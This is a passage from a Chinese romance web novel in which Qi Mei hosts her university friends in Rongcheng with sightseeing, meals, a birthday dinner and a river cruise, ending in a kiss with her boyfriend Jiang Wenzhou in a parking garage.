她忍不住愣愣,既觉得惊讶,又有些不敢置信。 这应该……算是一件好事吧? 她不太确定这种感觉是不是自己的错觉,决定明天问问江问舟。 偏西的太阳越来越往下沉,很快就被地平线挡住,夜幕升起,华灯初上,她们来时还没几个人的街上,陆续有流动小吃摊开始摆了出来。 白烟随着人气向夜空扑去,周围很快就热闹起来,齐眉她们一人买了一杯果汁,然后欢快地汇入来往的在校大学生的人群。 “轰炸大鱿鱼吃不吃?他这个看起来好多花生碎和芝麻,看着就好吃。” “吃吃吃。” “来点甘草水果吗?我以前没吃过这种。” “来来来。” 称水果的时候齐眉看到这家还有新鲜的三华李,立刻便让老板给自己称两斤。 “其中半斤帮我压一下,多放点辣椒盐,你们辣椒盐和甘梅粉单不单卖啊?” 往水果里面撒辣椒盐这种吃法蒋乐亭她们都没吃过,闻言都愣了一下:“这……能吃吗?” “能吃啊,好吃的。”齐眉努力卖安利,“你们试试,好吃的,我不骗你们。” “不不不,你自己吃就行,谢谢嗷。” 仨人边说边退,用行动向齐眉表示自己的敬谢不敏。 齐眉啧了声:“不识货,我自己吃!” 说完插了一个沾着最多辣椒盐的李子往嘴里一塞,一边嚼嚼嚼,一边让她们在砂锅粥和鸡公煲之间二选一。 而这时的江问舟已经吃过晚饭,正在给年年和金金喂鱼油,催它们快点吃,吃完要出门去散步了。 孙茂芸在旁边剥龙眼,还跟他说着话:“西西的同学难得来一趟,要不要带来家里玩一下呀,你说我和你爸要不要请她们吃顿饭?” 江问舟一愣:“怎么突然……想到这事了?” “能特地过来找西西玩,她们以前在学校关系应该就不错?”孙茂芸说着随手将龙眼壳扔进垃圾桶,“关系好就说明她们以前也照顾过西西,那现在她们难得来容城一趟,我们略尽地主之谊,也很应该吧?” 说起来还真是逻辑通顺,江问舟一时也找不到反驳的点,不由得沉默下来。 江眀琮看着他低眉垂眼往金金嘴巴塞鱼油的模样,忍不住放下手里的报纸,再一次暗暗打量起来。 “……还是算了吧,西西也没有说要带她们回家做客的打算。”半晌,江问舟出声道,“她的朋友,还是让她自己招待好了,您要是想,就给她打笔钱?就算是尽了心意了。” 意思就是不要干涉齐眉的交友自由,听起来也有道理。 孙茂芸想了想就答应了,催着金金让它快点吃,就一颗鱼油,怎么吃起来像一大瓶一样,还吃不完了。 江眀琮全程没有发表任何意见,只暗暗揣摩江问舟说这句话时的语气,似乎抗拒的意味很明显。 这种抗拒不知道有几分是齐眉的,又有几分是来自于他自己。 江眀琮忍不住眉头一挑,看了一下手表上的日历。 ————— 齐眉这顿生日饭在哪儿吃是江问舟安排的,订了容城大酒店晚上的包厢,吃过晚饭会去坐轮渡夜游容江。 “很多外地游客过来都会体验一把,所以我让江问舟也给你们安排上!” 至于早上,从南山寺下来,便直接去体验许多游客都好奇的项目了——登电视塔。 电视塔塔身主体有四百多米,在上面有旋转餐厅、户外观景平台、摩天轮等等游乐设施,是容城的地标建筑之一,等同明珠塔之于申城。 “我们一会儿先去观景平台拍照,那儿要排队的,一次只能进去二十个人,拍完照再去吃自助。”齐眉说着晃晃手里的单反,“来都来了,不拍点照都对不起这一百多的门票钱。” 光是上来就要一百多的门票,吃饭玩耍还得另外付费,蒋乐亭她们知道的时候还说,难怪本地人都不爱来。 好在她们中午是要吃塔上那家旋转餐厅的自助的,餐券里包含了门票。 但是她们现在要去户外观景平台又要另外购票,真是哪儿哪儿都要消费。 随着人流进入电梯,感受着电梯上升的动静,齐眉也实话实说:“其实我也是第一次来,以前真的没来过,路过都想不起来要上来看看。” 电梯先抵达室内观光厅,然后寄存好随身背包,换乘专用电梯前往塔顶平台,这是一个360°无遮挡的观光区域,视野非常开阔,加上天气晴朗无风,可以清楚地将整个城市的风景尽收眼底。 齐眉觉得自己现在是站在云端,低头俯瞰着像长蛇一样蜿蜒的容江,宽阔的江河变细了,高耸入云的CBD也变得渺小,而行人和车辆更是细如沙尘。 万物在天地间只是渺小的沧海一粟罢了。 她仰起头,看见蓝天白云近在眼前,似乎一抬手就能够得到。 这种感觉太刺激了,齐眉的心情从一开始的毫无期待,变成兴奋和激动,挑选着自己觉得合适的角度,不停地按动快门。 合照是同一批上来的其他游客帮忙拍的,还听到有人说:“其实傍晚来才最好,可以看到落日和夜景,这么高的地方,感觉落日就在眼前,肯定超棒。” 齐眉听到,和蒋乐亭她们相视一笑,姚敏说:“上来之前我还想,这可能是唯一一次登塔了,但我现在已经开始期待下一次了,下次我一定要来看落日。” 不过在这么高的地方,直面高空强风的感觉感受久了,人也确实会有些不太舒服,于是她们很快就下来。 正好十二点,餐厅已经开餐。 去餐厅的一路上,四人还是很兴奋,激动地交流着自己俯瞰城市景物时的好受,不停地发出感慨。 那种欢乐的气息好几次吸引了路人的注目,她们却浑然不觉。 旋转餐厅旋转餐厅,说明餐厅是会转动的,每一百分钟旋转一周,客人坐在自己的位置上,便可俯瞰城市全景。 同样是俯瞰城市风貌,坐在餐厅里的感觉就比在户外环境平台时要踏实安全多了,但同时也要无聊一点,齐眉她们很快就失去兴趣,开始专心干饭。 餐厅是半自助形式,自助餐台有各式各样的热菜、甜品和饮品可以畅吃,同时还有单点现做的主菜,既有本地菜,又有西餐、日料,一整个多国菜系大融合。 “有现开的生蚝诶,你们吃不吃?” “吃吃吃,来一打我都行。” “留点肚子啦,我看攻略说烧味拼盘不错,要一份?” 还有什么三文鱼和金枪鱼刺身、火焰雪花牛排、龙虾海鲜汤,反正是感兴趣的都来一份尝尝咸淡。 和户外观景平台一样,夜景比日景好看太多,所以中午的餐厅人不多,价格自然也要便宜一截,而且…… 齐眉一边吃着生蚝一边告诉大家:“其实是我干妈请大家吃的,说是你们难得过来一趟,又很感谢你们以前对我的照顾。” “哎呀,讲这些。”大家很不好意思,连忙摆手让她不要讲了,“阿姨怎么这么客气!我们是朋友啊……” “不要这样搞,这顿饭突然好正式啊,这是什么答谢宴吗!!!” 齐眉被她们的反应逗乐,笑得眼泪都快挤出来了,好半天才停下来。 “她本来是想请大家一起吃个饭,但……后来觉得这样可能会有点尴尬,所以就算了,给我转了餐费。” “谢谢谢谢,阿姨真的很善解人意。”姚敏闻言立刻双手合十,庆幸地大舒一口气。 另外两个人也拍着松口连连点头:“幸好没有……那样太、长辈在的话,总觉得很拘束。” “要是阿姨在,我不可能这样拿着帝王蟹的蟹腿就啃哈,我会很斯文,括弧,被迫的。” 想要大笑的冲动再次涌上喉咙,齐眉连忙咬着嘴唇忍住,半晌才摆摆手,眼睛都弯了起来。 憋笑憋得脸红扑扑的,善睐明眸里的笑意衬得脸上愈发一片艳色,姚敏啧了声,忽然说了句:“质疑江问舟,理解江问舟,想成为江问舟。” 大家都一愣,说笑声停止了片刻,旋即蒋乐亭和徐丹若又笑起来,似乎比刚才还要更忍俊不禁,齐眉的疑惑瞬间就被笑成了茫然。 “……啊?为什么这么说,这关江问舟什么事?” “谁说跟他没关系了。”坐她旁边的徐丹若放下手里的筷子,一把勾住她的脖子,笑嘻嘻道,“一直没跟你说过,刚知道你和江问舟在一起那会儿,我们每天晚上睡前都要议论一下你们。” 齐眉一愣:“……嘎?” 虽然能理解这种议论姐妹恋爱对象的行为,但是,“你们讨论什么啦?” 齐眉超好奇的,不知道她们议论的是她,还是江问舟。 “当然是议论凭什么他能跟你在一起了。”蒋乐亭看她一眼,笑道,“那时候明摆着追你的就好几个,暗地里喜欢你的还不知道多少,结果你跟我们完全没有想到的那个在一起了。” 徐丹若接着说:“其实也不算没想到,主要是你太能装了,口口声声说是你哥,啧……” “后来一想,你们又没有血缘关系,干妈和干女儿什么的,那你和他就算个青梅竹马呗,这种关系最容易发生点什么了。”蒋乐亭继续道,“要是我,一个那——么漂亮的小青梅搁在面前晃悠,我能忍到她大学都快念完才把她吃了,算我定力好,柳下惠托生。” 说完还啧了两声,齐眉的脸一下就又红起来,滚烫滚烫的,嘴唇动了两下,却也不知道该说什么才好。 “所以为什么我们都很想成为江问舟,懂了吗?”姚敏看向她揶揄地问道。 “懂了懂了。”齐眉连忙点头,唉地叹口气,不好意思极了。 大家就都笑她,说都是老夫老妻了,还有什么可害羞的,脸皮这么薄可不行啊,云云。 齐眉左耳进右耳出,一味低头吃菜。 除去门票,这里的自助餐算是四五百一位,这个价位的自助餐已经算是很贵的了,齐眉平时轻易舍不得吃,好容易来一趟,不努力点吃回本都觉得对不起自己。 吃完午饭,几人又在室内观光层溜达了一圈,这才搭电梯下楼,在一楼的纪念品商店买了点要送人的小玩意,一人叼着一根电视塔造型的雪糕出来。 “咱们接下来去哪儿坐坐啊?” “这边离店里已经不远啦。”齐眉笑道,“我们去店里喝咖啡,给你们介绍一下我嫂子?” “就是跟你一起合伙开店的那个?”蒋乐亭问道。 齐眉嗯嗯应了两声,蒋乐亭接着问:“你们关系很好吧?” “还可以呀,她……人很好的。”齐眉想说她和任清葭很多地方都一样,所以比较投缘,但想了想,有些事他知道该怎么跟她们解释,只好作罢。 “那、你们……”蒋乐亭犹豫了一下,转而旁敲侧击,“说起来我有两个亲戚也是合伙做生意,就是开美甲店,起初还挺好的,可惜后面因为经营理念不和发生矛盾,两个人吵得厉害,后来店就关门了,两家也不来往了。” 齐眉闻言笑笑:“合伙开店确实容易有这个问题,不然为什么都说不要和熟人一起做生意。” 那你还跟你嫂子一起开店?蒋乐亭乜她一眼。 齐眉当然知道她是什么意思,笑着解释道:“所以我们互不干涉彼此负责的部分啊,她负责白天的咖啡店,我负责晚上的酒吧,具体经营策略都是自己定,会商量,但尊重彼此的决定,有交集的地方……比如晚上很多客人喝酒的时候还希望可以吃到小蛋糕,店里白天有个招牌甜品是加入酒精做的奶冻,诸如此类,我们会跟对方打好招呼,互相帮一下,到目前为止我们配合得还不错。” 至于以后会怎么样,谁也不清楚,其实跟谁合作都是一样的,都有可能出现一地鸡毛的收场。 人都是会变的,今天说不准明天的事。 但是,“只有熟人会愿意在我什么都不懂的时候带我入场,还帮我把这个摊子支起来。” 也就是关系好的亲戚了,换个人都不稀得搭理她,更别说既给人又给钱了。 她跟蒋乐亭她们说起陆家三人对自己这一路的关照,说完车子就停在了通往No.12Diner&Lounge的路口。 四人进门时正好碰上任清葭端着刚做好的抹茶千层下楼,招呼店员赶紧分装。 看见齐眉,她就笑着问:“西西吃不吃蛋糕?” “我想吃奶冻。”齐眉笑眯眯的,边应边往蛋糕柜前凑,招呼蒋乐亭她们快来看,“看看想吃什么,我请,随便点。” 任清葭也知道最近几天她在忙着接待朋友,闻言便笑着同她们打招呼:“西西的同学吧,欢迎来玩。” 两边在齐眉的介绍下互相寒暄了两句,任清葭就要上楼去接着忙了,齐眉要了一个摩卡巧克力奶冻,蒋乐亭她们都要了酒味的,朗姆酒茉莉、朗姆酒椰子和威士忌伯爵红茶。 “还有一个威士忌巧克力口味的呢,没人吃吗?”齐眉问道,然后说,“那我吃!” 话音刚落,就听见门口响起风铃声,齐眉下意识地扭头想招呼客人。 却在看见江问舟的脸时喉咙一卡,欢迎光临变成一声雀跃轻快的:“哥!” 任清葭刚走到楼梯转角,听到齐眉这一声,立刻又转身噔噔噔往下跑。 扒在楼梯栏杆那儿探头冲江问舟笑嘻嘻地打招呼:“哟,来啦?” 也不好当着这么多人的面调侃叫妹夫,只在江问舟和齐眉看过来时冲他们眨眨眼,神色揶揄。 齐眉有没有不好意思江问舟不清楚,但他是有点赧然的,抿了抿唇,难得有些腼腆地应了声是。 任清葭觉得他俩好玩极了,看齐眉的同学似乎对他们的关系也是知道的,便说:“你们要不要上楼玩?楼上现在没人。” 齐眉原本只想在店里坐坐,等时间差不多,陆阳来了,就一起去吃饭,今晚这顿饭除了蒋乐亭她们仨,还请了陆阳和任清葭。 但听到任清葭让他们上去,齐眉便扭头看向江问舟。 江问舟倒是爽快点头:“那就上去吧,正好带了荔枝过来。” 齐眉这时才看到他手里还提了个不小的服装袋,提手的绳子被坠得紧绷绷的,看样子袋里东西分量不轻。 “你还买荔枝啦?” “早上家里来了客人,客人送了点仙进奉,妈不让爸多吃,便宜我们了。” 江问舟一面解释,一面从袋子里提出两串荔枝,往吧台上一放。 齐眉一边招呼大家都尝尝,一边拽着江问舟往楼梯走,边走边问:“哪个客人呀,我认识的吗?” “是爸早年办过的一个案子的家属,后来和爸成了熟人,听说是因为以前不方便,就没怎么走动过,这两年爸不是退休了么,跟人来往没那么多忌讳了,就走动起来来。” “那我应该是不认识,没见过,可是……仙进奉耶,送这么多啊,可贵了吧?” “市价不清楚,也不太好买……” 蒋乐亭端着一盘奶冻,和姚敏她们跟在俩人身后,也往楼梯走去。 上了楼刚站稳,就听任清葭冲着江问舟清脆响亮地喊了声:“妹夫!来来来,快来坐!” 说完一脸哈哈哈终于爽到了的表情,逗得大家一阵哈哈大笑。 除了江问舟:“……” 第62章 第六十二章(二合一)不进去坐坐吗?…… 经常光顾No.12Diner&Lounge的客人都知道,这里的奶冻是招牌产品之一,品质一直很有保证。 不管是咖啡系列还是调酒系列,都是风味十分浓郁的,尤其调酒系列,吃起来真的有种固体鸡尾酒的感觉,没有酒量的人,多吃两个就会变得微醺。 所以店里会提醒每个点这款甜品的客人:“吃完以后不要开车哦,会被抓酒驾的。” 所以拿了摩卡巧克力奶冻,又拿了威士忌巧克力奶冻的齐眉,要先问江问舟:“一会儿去吃饭,是你开车,还是我开车呀?” 江问舟没有直接回答她的问题,而是问她:“你现在更想吃哪个?” 齐眉想了想:“嗯……咖啡的吧。” “好,一会儿你开车。”江问舟点点头。 说完顿了顿,又开了句玩笑:“谢谢你让我也体验一下有司机的感觉。” 齐眉:“……” 在场其他人都忍俊不禁,蒋乐亭还揶揄江问舟:“那这几天我们进出都是齐眉开的车,这算什么?” “算她最近开车上瘾。”江问舟一本正经地胡说八道,“练一下车技,以后要是失业了,可以去开网约车,也可以赚点辛苦钱。” 齐眉这下有点忍不住了,喂了声,伸手拍他,“……你这个乌鸦嘴!” 大家一阵好笑,倒是聊起了就业这个话题,蒋乐亭说有个认识的师弟,本来打算毕业就转行,但是真的开始找工作了,却发现处处受阻。 “学医还是太专了,转行不好转,考公也很局限岗位。” “但是你要是不早点转,后面要转也不好转,因为年纪上去了,没有年龄优势。” “本科毕业的时候拿不准主意,想着多个学历吧,读个研,又去三年。” 姚敏啧了声:“然后发现硕士不值钱,又读个博……” 还没说完,蒋乐亭就幽幽地接了句:“然后发现可能毕不了业,别人读书你读书,别人工作你读书,别人升职要小孩你还在读书。” 大家真是要笑疯,齐眉一边笑一边安慰她:“没事,你成家赶上趟了,我们都还没有呢。” 蒋乐亭咬咬牙捏她的脸:“你最好不是在内涵我!” “绝对没有!”齐眉笑着往一旁躲,一下就撞在江问舟胳膊上。 她第一反应是躲开,要掩饰,但这个念头刚起来,就瞬间反应过来,在场各位都是知道她和江问舟关系的,根本用不着避什么嫌。 于是她干脆放松下来,直接靠在江问舟身上,笑嘻嘻地继续道:“要不我给你介绍一位前辈,你跟他取取经吧?” “哟,你说的是你家江学长吧?”蒋乐亭乜她一眼,没好气地反问道。 江问舟在大家的笑声里察觉到她从僵硬到放松的躯体变化,眼角余光掠过她和自己胳膊贴在一起的后背,最后化作眼角和唇边的笑意。 “这个我教不了。”他摇摇头笑道,“我是特别顺利的毕业的,没什么波折,所以不太懂怎么……嗯、还是好好整理论文数据,顺其自然比较好。” 他这话一说完,齐眉就立刻抬手捂住脸。 妈呀,这话说的……真的不是在招骂吗,那是人家没好好整理论文数据才没毕业的吗? “来人!把这个凡尔赛的给朕叉出去!”蒋乐亭拍着沙发,气呼呼地提高音量。 大家笑得前仰后合,就连不知道这个博士论文难度到底几何的任清葭都能听得出来,江问舟这话简直是在说:“论文这不有手就行吗?” 这谁听了能不气!!! 齐眉一边笑着抹眼泪,一边跟蒋乐亭讲价:“算了算了,看在我的面子上,好不好?我晚上请你吃饭,你别跟小孩一般计较,我、我晚上回去就教育他……” 说到这里自己都说不下去了,忍不住一阵哈哈大笑,整个人往后一仰,恰好靠在江问舟抬起的胳膊上。 一时也没刹住车,直接就滚进了他的怀里。 “是我错了。”江问舟一边应着她们说的话,一边将齐眉扶好,大方道,“不过你如果有修改论文的需要的话,我倒是可以帮忙看看。” 这当然也是看在齐眉的份上。 蒋乐亭立马就改口:“那就谢谢学长了,到时候我让阿眉跟你说哈。” 还问什么到时候润笔费就打给齐眉就行,云云。 还端着水杯要以水代酒敬他一杯,大家被逗得不行,休息室里气氛一时十分热闹,明明就五六个人,却热闹出了一条街的感觉。 气氛一活跃,大家就跟任清葭也聊了起来,说实话,大家还是很好奇开咖啡店赚不赚钱的。 还有这种私人咖啡店怎么和动不动就搞商战的连锁品牌竞争,咖啡的那些什么花香果香到底是不是靠自己脑补,吧啦吧啦,大家聊得可开心了。 转眼就已经是差不多傍晚六点,门突然被笃笃叩响,江问舟起身去开门,看见陆阳站在门外。 “来了?”他笑着打声招呼,让开门口的位置。 陆阳进门一看桌上的那堆荔枝壳就乐:“聊这么高兴呢?聊什么了?” “聊你昨天有多么的瞎。”任清葭没好气地甩他一个白眼,然后同齐眉她们吐槽道,“上一句跟他说在外面吃螺蛳粉了,还配了照片发给他,他哦哦一下,问我这是肥肠粉吗?我真的是……你好歹看看我发的文字内容呢!” 陆阳有些赧然地笑笑,还没来得及说什么,就听蒋乐亭无语地道:“是不是全天下的男的都这德性?我家那个也一样,老是已读乱回,你跟他提意见吧,他又犟嘴,说我要是回得慢一点,你又说我不把你说的话放心上,我靠,真是被气死!” 眼看着就要变成配偶控诉大会,江问舟和陆阳都心有戚戚地往旁边躲了躲。 姚敏说那是人的问题,“你让他向好的榜样学学就行了,起码你们这还句句有回应呢,不管说什么吧,起码情绪价值给到位了,人家那还有发个信息半天不回的呢。” “好好好,比烂是吧?”蒋乐亭翻白眼,说你这就是站着说话不腰疼,“已读乱回有时候气得你心肝疼,不信你再问问阿眉。” 齐眉一愣,啊,怎么……这也关我事吗? 她捏着颗壳剥到一半的荔枝,下意识看了一眼一旁的江问舟,见他眉心轻折着似乎有不同意见,不由得抿住嘴唇笑起来。 姚敏刚想说问齐眉有什么用,江问舟就在这儿,她怎么可能说什么嘛。 可还没来得及出声,就见齐眉笑眯眯地开口了,“没有呀,我家……我哥和我干爸就不这样。” 任清葭表示不信,她就认真道:“回得不及时肯定有的,干爸的工作性质你也知道,经常连手机都不看,我哥也忙,上手术上门诊怎么有时间看嘛,但回信息都有好好回的,但是……” 齐眉停下来,犹豫了一下,看一眼陆阳,才委婉地道:“我也不懂,但是……不要为这种事伤和气嘛,互相退一步?” 感觉她偏向哪边都不太好的样子…… 齐眉纠结片刻,选择了饭遁,“哎呀,时间差不多了,该去吃饭了吧?一会儿吃完饭还得去坐船夜游容江呢!” 边说边起身,还冲江问舟使了个眼色。 大家都被她这明显的逃避行为逗得忍俊不禁,蒋乐亭故意抓住她不让她走,“不行,你今天必须给我一个明确的答复!” 答复,答复啥呀,齐眉立刻嚷嚷起来:“救命!哥,江问舟,救命啊!” 一边嚷一边朝江问舟伸手,江问舟忍俊不禁,连忙伸手去接她,劝架道:“好了好了,小心别摔了。” 陆阳有些惊讶地看一眼他们俩。 大家玩闹了好一会儿才终于离开休息室,下楼时看到田乐和佟林他们都来了,齐眉赶紧把给他们留的荔枝递过去。 “今年的仙进奉哦,都尝尝鲜。” “我敲!仙进奉!”田乐一听,立刻把手里削冰块的刀一放,拿过袋子就打开看了起来,还念念有词,“这就是仙进奉吗?这也是我不要钱就能吃到的?!” “你们分分,我们先走啦。”齐眉笑嘻嘻地应道,揪着江问舟的袖子就往外走。 姚敏她们出到店外,才好奇地问齐眉:“为什么……会对这个荔枝反应这么大,它很贵很难买吗?” “不太好买,主要是贵。”齐眉解释,“贵的荔枝……比如挂绿,最贵的是拍卖的,五十几万一颗,报纸新闻还有得查,而且产量不多,挂个名头不知到第几代树结的果,也要好几十一颗呢,普通人哪儿会吃它,但是仙进奉就好买得多了,不过我们一般也很少买吧,一年最多最多吃个两三斤尝尝味道,这都算奢侈了。” 任清葭走在前面,听到齐眉这话就回头说:“这是真话,我们吃得多的还是妃子笑糯米糍这些,顶多是桂味,还得看价格,有的年份产量小,能去到一百多一斤,也是舍不得吃的。” “居然还有这么多讲究。”蒋乐亭她们惊讶,好奇地问是不是因为特别好吃才叫这个名字,“进奉给皇帝的仙品?” “你电视剧看多了吧。”齐眉哈哈大笑,“不是啦,皇帝没吃过这个品种,这个品种是现在才有的品种,原产于一个叫仙村镇的地方,原来叫进奉荔枝嘛,所以新品种就叫仙进奉了。” “不过是真的好吃,清甜,肉还有点脆,很香,我感觉我剥完以后手都是香的。”姚敏说完还低头闻闻自己的手。 齐眉就说:“回去的时候带点走呗,买别的品种,顺便……” 她顿了顿,对蒋乐亭说:“帮我给莫老师和杨师姐她们带一点?” 蒋乐亭愣了一下,扭头看向她,看到她眼里微不可查的忐忑和犹豫。 “……好啊,正好我们一个单位,拿东西很方便的。”蒋乐亭点头答应道,弯起眼睛掩住心底那一点遗憾的叹息,“不过方便带回去吗,我听说荔枝不好保存,走两天快递会不会坏了?” 齐眉立刻说:“不会,跟着你们坐飞机,办理水果托运就好,你们下机它也*下机了,到时候我去帮你们办。” 好家伙,还能这样,姚敏立刻表示:“给我来一箱!” “吃多了上火哦。”齐眉眨眨眼,问道,“要不要顺便带两瓶凉茶?好东西来的,我从小吃到大。” 神色一本正经,像在安利什么好东西。 姚敏往后退了一步:“你这个糟老头子坏得很,要不是我真的喝过你们这儿的凉茶,还真就信了。” 齐眉立刻嘻嘻笑出声来。 大家一路说笑着上车,很快就到了酒店,包厢的位置也不错,有窗,而且窗户的角度很不错,可以看到容江上来往的游船。 有几个菜是江问舟提前订的,比如招牌的红烧乳鸽和盐焗鸡,还有生腌生蚝,陆阳在来的路上还给买了个生日蛋糕,大家吃得倒也尽兴。 吃蛋糕的时候齐眉就开始收礼物了,一人一样,独独缺了江问舟的。 陆阳眨眨眼,故意问了句:“江医生这是……提前送了?” 江问舟刚要回答,齐眉就立刻点点头:“是呀,我哥好多天前就送了。” 本来想说男女朋友送礼物哪能让我们看见的姚敏被她这话吸引了注意力,好奇八卦道:“送了什么?” 这话问的……江问舟的眼睛立刻看向了齐眉的食指。 她今天戴的是那枚猫爪造型的开口戒,像是两个小猫爪子对在一起,俏皮又可爱,很好的中和了黄金给人带来的岁月感。 “嗯……项链呀。”齐眉想了想,指指脖子上的红蓝宝吊坠,“就是这个,怎么样,好不好看?” “哦哟!心形呀!”大家立刻起哄揶揄起来。 陆阳越看越心惊,刚想说什么,就被任清葭用手肘杵了一下。 他想想还是闭上了嘴。 吃完饭从楼上下来,大家直奔坐船的码头,夜景确实好看,岸两边都是五彩十色的灯光,那些在高楼大厦楼体外的大屏滚动播放着容城的宣传视频,偶尔乱入一个某某游戏的宣传,祝某某角色生日快乐。 大家看了一会儿,又去甲板上牌照,齐眉晚上带出门的相机再次派上用场。 等她们拍照拍得过瘾了,游轮也靠岸了。 她们和陆阳还有任清葭在停车场分开,任清葭还嘱咐齐眉:“记得把照片发我啊!” “知道了知道了,路上小心!”齐眉摆摆手答应道。 等回到自己车上,陆阳才有些迫不及待地问任清葭:“老婆,西西跟江医生是不是……他们怎么回事啊?” 任清葭看他一眼,努努嘴:“这可是你自己看出来的哈。” 顿了顿,她又说:“你别问我了,我不会告诉你的,以后你就知道。” 这跟说了有什么区别,陆阳脸孔抽搐着啧了好几下,想说什么,又不知道该怎么说,于是又:“啧啧啧。” 任清葭被他无语坏了,赶紧警告他:“你别当什么稀奇事跟你爸他们讲,就当不知道,听到没有?” 陆阳一愣,半晌才反应过来:“你意思是……江叔他们还不知道?” 任清葭嗯了声,再次警告他不要往外说,那是齐眉和江问舟的事,应该由他们告诉江眀琮和孙茂芸。 “而不是从我们这里,从你爸口中,听到恭喜了,才知道这件事,你给我刻进脑子里。” 她说完使劲戳戳陆阳的脸。 陆阳嘿嘿笑了声,一面说知道,一面伸手去捉她的手指。 ————— 齐眉一行人回到家已经是晚上十点过后,年年和金金听到开门的动静,便从屋里跑到门口迎接。 结果门一开,外头一串人,年年还好,这几天下来已经认得蒋乐亭她们,知道是自己人,便仍旧往前凑。 金金就惨了,在家里来客人之前它就被江问舟打包带回去了,根本没见过蒋乐亭她们几个,现在乍一见面,它吓了一跳,扭头就耷着大尾巴往回跑。 一边跑还一边往回看,满眼都是警惕和疑惑,最后钻进茶几底下藏了起来。 大概是在疑惑这些人都是谁吧,齐眉笑着喊它:“金金,金金你在哪里呀?” 蒋乐亭揉揉年年的大脑袋,笑道:“我们不会把它吓到了吧?” “肯定是啊,不然人家跑什么。”徐丹若笑嘻嘻地说着玩笑话,“说不定小猫咪正在想,不是,这怎么都是我不认识的两脚兽啊?一个不认识,下一个也不认识,我不会回错家了吧?” 大家被她的形容说得好笑,齐眉边笑边跑过去,将它从茶几底下拉出来,抱进怀里狠狠亲了一下猫猫头。 “你有没有想我呀?你爸爸是个坏东西,强行分开我们是不是?” 熟悉的味道让金金很快就平静下来,趴在她的怀里好奇的看向其他人。 徐丹若捂着心口,啊了声:“它的眼睛好大啊!” 大概是怕吓到金金,她的声音立刻压低下来:“哎呀,谁家的小猫咪这么漂亮呀?你好漂亮呀,你叫金金是吗?” 她说着话,齐眉就看见蒋乐亭和姚敏哆嗦了一下,不约而同地开始搓胳膊。 应该是被徐丹若的声音吓得鸡皮疙瘩都起立了。 她忍不住笑出声来,但也很理解徐丹若,因为没有人可以在这么可爱又漂亮的小可爱面前不变身夹子精,没有人! 金金被她点了两下脑袋,虽然对她还是陌生,但也没有哈她或者伸爪子,甚至都没有躲进齐眉怀里,只眨了眨眼。 “看起来胆子还是挺大的嘛。”蒋乐亭也凑过来看它,还拈了一下它耳朵上的聪明毛。 金金立刻耳朵一抖,扭头朝她看过去,嘴巴抿着,看起来不太高兴了。 “它出生的猫舍照顾得很好,给它做的社会化培训也很好,所以会比较亲人。”齐眉掂掂怀里的猫,往前要递给姚敏。 可没等姚敏伸手,金金就很不给面子地扭头往齐眉怀里钻,爪子紧紧扒住她胳膊。 齐眉今天穿的是一件无袖的吊带连衣裙,胳膊上也没布料遮挡,猫爪子便直接抠在她皮肤上,即便金金没有伸爪子,也还是会有一点被猫指甲抓住的痛意传来。 “好好好,不走,不走。”齐眉连忙收回胳膊,将它又抱在了怀里。 金金耳朵动了动,这才重新安稳下来。 姚敏伸手挼了一把它的头,笑话它是妈宝,“你都这么大了,还要妈妈抱啊,听说你今天生日,几岁啦?” “我们到今天就四岁啦。”齐眉笑眯眯地替它回答道。 话音刚落,就听江问舟喊她们:“快来洗手切蛋糕了。” 齐眉立刻叫年年:“快,要去蹭姐姐的蛋糕吃啦!” 这已经是她们今天吃的第二个蛋糕了,幸好不管是陆阳还是江问舟,都买的是不大的蛋糕,切开口一人只有一小牙。 是齐眉很喜欢的水果蛋糕,阳光玫瑰的青绿色看上去就很清新养眼,在和奶油的白色还点缀着不少大颗的蓝莓。 江问舟还给金金准备了一个它的生日蛋糕,是在家里就做好拿过来的,材料用了三文鱼、鸡胸肉、虾肉、紫薯和胡萝卜,蒸熟后打成泥,一层一层铺叠上去,压实冻好,经过一下午和半个晚上正好化冻,端出来后淋上一层无糖酸奶,撒几颗蓝莓,中间再插上一个“四”的生日蜡烛。 “金金来,唱生日歌啦。”齐眉把它抱在怀里,捏着它的两只手,和大家一起唱祝你生日快乐。 年年在一旁上蹿下跳,明显很受这种气氛的感染。 江问舟点上蜡烛,倒也不用关灯,蒋乐亭催着齐眉许愿,齐眉便捏将两只猫爪合拢包在自己的手心里,直接把生日愿望说了出来:“希望以后每年生日都能和大家一起过。” 当然做不到像今天这样,但能隔着千里万里给她说一句生日快乐,就很好很好了。 那表示大家还记得她,记得她的生日。 “不是说生日愿望说出来就不灵了吗?”姚敏一本正经地问大家,“怎么这个人的生日愿望一说出来就实现了?难道是上帝看她漂亮?不是吧阿Sir,这也有颜值红利能吃的?” “不知道,我下辈子告诉你。”蒋乐亭笑嘻嘻地接了一句她的话,然后催着赶紧分蛋糕,“快点快点,再不吃就要到明天了!” 其实也没有很晚,等几人和一猫一狗都吃完自己那份蛋糕,江问舟把猫狗的食盆洗干净,又和齐眉讨价还价,以她送自己下楼交换金金留下,这时也就才十一点半。 小区里很安静,跳广场舞和遛狗遛小孩的邻居们早就已经散了,只有他们的脚步声踩着灯光,还是被江问舟刻意放缓的节奏。 他伸手将齐眉揽过来,歪头碰了碰她头顶的花苞头,温声问道:“今天过得开不开心?” 齐眉点点头,声音肯定地嗯了一声。 “那就好。”江问舟揽着她,跟她说起一些家里的事。 都很家常,无非是孙茂芸又说了什么之类,没讲几句就到了停车场。 停车场里更加安静,连虫鸣之类的细小动静也听不见,白晃晃的灯光透着冰凉,脚步声在四周回荡起一种别样的韵律。 地上有积水的痕迹,应该是物业开过水阀浇地板降温留下的,齐眉环顾四周,问他:“你车呢?” 江问舟的手从她颈后往前一伸,托着她的下巴把她的脸往左转,“那儿呢,看到了吗?” 齐眉这才看见趴在角落里的那辆白色奥迪SUV。 “真是完蛋了,你连自己家的车都认不出来了。” 听到江问舟的揶揄,她又忍不住有些讪讪:“一时没看到而已……” 话没说完,江问舟的脸就在她面前倏地放大,未落的话音便湮没在他的口中,变成细碎的嘬吻。 他含住齐眉的下唇,牙齿稍稍一用力,就咬了下去。 齐眉吃痛,抬手要推他,却被他捉住手腕往身后一别,再反手扶着她的腰后往怀里一按。 她整个人就贴进了江问舟的怀里,他温热的呼吸从她的额头处往下洒,蔓延到她的脖颈和锁骨,白皙的皮肤霎时间变成了蜜桃般的粉色。 江问舟看得有些发痴,下意识低头吻了上去,齐眉有些紧张,头微微一别,他的吻就落在了她的肩膀上。 “别……” “不进去坐坐吗?”江问舟和她同时开口,却是问她要不要到车上坐坐。 理智告诉她不要答应,封闭的空间,小别多日的情侣,会发生点什么的概率实在太大。 